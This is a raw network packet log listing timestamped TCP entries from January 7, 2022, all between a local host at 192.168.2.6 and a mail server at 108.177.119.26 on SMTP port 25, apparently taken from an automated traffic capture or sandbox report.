Jan 7, 2022 15:42:51.072532892 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.072571039 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.072597980 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.072627068 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.072659969 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.072695971 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.072716951 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.072750092 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.072787046 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.072824001 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.072895050 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.072913885 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.073013067 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.073050976 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.073081017 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.073103905 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.073129892 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.073168039 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.073189974 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.073235989 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.073254108 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.073295116 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.073355913 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.073436022 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.073460102 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.073522091 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.073545933 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.073582888 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.073617935 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.073699951 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.073759079 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.073797941 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.073822021 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.073862076 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.073899031 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.073965073 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.074008942 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.074058056 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.074086905 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.074137926 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.074203014 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.074264050 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.074292898 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.074330091 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.074351072 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.074383020 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.074405909 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.074443102 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.074465036 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.074493885 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.074523926 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.074561119 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.074583054 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.074613094 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.074645042 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.074688911 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.074738979 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.074778080 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.074812889 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.074857950 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.074887991 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.074923992 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.074955940 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.074978113 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.075006008 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.075042963 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.075068951 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.075105906 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.075134993 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.075172901 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.075203896 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.075236082 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.075258970 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.075294971 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.075320959 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.075359106 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.075381041 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.075409889 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.075436115 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.075475931 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.075500011 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.075534105 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.075561047 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.075598001 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.075620890 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.075659990 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.075690985 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.075727940 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.075751066 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.075800896 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.075833082 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.075874090 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.075901031 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.075925112 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.075954914 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.075993061 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.076029062 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.076066971 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.076092958 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.076133013 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.076153040 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.076179981 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.076208115 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.076246023 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.076268911 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.076302052 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.076327085 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.076380014 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.076400995 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.076445103 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.076479912 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.076531887 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.076570034 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.076608896 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.076626062 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.076662064 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.076689959 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.076733112 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.076775074 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.076795101 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.076843977 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.076963902 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.077045918 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.077052116 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.077083111 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.077112913 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.077136993 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.103389978 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.103449106 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.103480101 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.103532076 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.103578091 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.103645086 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.103646040 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.103705883 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.103949070 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.103966951 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.103984118 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.103995085 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.104006052 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.104016066 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.104032040 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.104048967 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.104055882 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.104058981 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.104067087 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.104077101 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.104082108 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.104089022 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.104110003 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.104116917 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.104156017 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.104171991 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.104173899 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.104187965 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.104202986 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.104207993 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.104227066 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.104243040 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.104250908 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.104269981 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.104279041 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.104281902 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.104298115 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.104315996 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.104341030 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.104348898 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.104370117 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.104399920 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.104415894 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.104470968 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.104485989 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.104527950 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.104546070 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.104547024 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.104577065 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.104609966 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.104635954 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.104652882 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.104669094 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.104686975 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.104741096 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.104759932 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.104775906 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.104809999 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.104891062 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.104906082 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.104923010 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.104962111 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.104967117 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.104984999 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.104988098 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.105003119 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.105019093 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.105041027 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.105046034 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.105063915 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.105093956 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.105156898 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.105206013 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.105289936 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.105307102 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.105340004 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.105348110 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.105366945 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.105380058 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.105407953 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.105418921 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.105424881 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.105432034 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.105441093 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.105442047 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.105458021 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.105475903 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.105477095 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.105504036 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.105519056 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.105545044 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.105566025 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.105628014 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.105669975 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.105676889 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.105710983 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.105714083 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.105726957 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.105757952 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.105788946 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.105789900 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.105838060 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.105876923 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.105891943 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.105907917 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.105922937 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.105922937 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.105957985 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.105994940 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.106003046 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.106064081 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.106107950 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.106157064 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.106174946 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.106193066 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.106209040 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.106223106 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.106276035 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.106311083 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.106353998 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.106359005 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.106369972 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.106386900 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.106405973 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.106410027 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.106441021 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.106486082 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.106503010 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.106519938 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.106561899 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.106589079 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.106622934 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.106676102 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.106698036 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.106748104 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.106765032 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.106781960 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.106798887 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.106813908 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.106821060 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.106831074 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.106848955 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.106884003 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.106920958 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.106937885 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.106952906 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.106969118 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.106971979 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.107012033 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.107018948 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.107028961 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.107037067 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.107065916 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.107070923 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.107094049 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.107114077 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.107227087 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.107283115 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.107498884 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.107553005 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.107589006 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.107640028 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.107773066 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.107789040 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.107805014 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.107820988 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.107820988 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.107837915 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.107856035 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.107857943 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.107871056 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.107887030 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.107893944 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.107904911 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.107920885 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.107938051 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.107939005 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.107954025 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.107965946 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.107985973 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.108023882 CET	49750	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:42:51.130899906 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.130923986 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.130943060 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.130959988 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.130980015 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.130999088 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.131019115 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.131037951 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.131417036 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.131438017 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.131449938 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.131473064 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.131486893 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.131500959 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.131513119 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.131525040 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.132035017 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.132055998 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.132075071 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.132177114 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.132198095 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.132215977 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.132229090 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.132241964 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.132255077 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.132272959 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.132296085 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.132314920 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.132327080 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.132339954 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.132354021 CET	25	49750	108.177.119.26	192.168.2.6
Jan 7, 2022 15:42:51.132368088 CET	25	49750	108.177.119.26	192.168.2.6
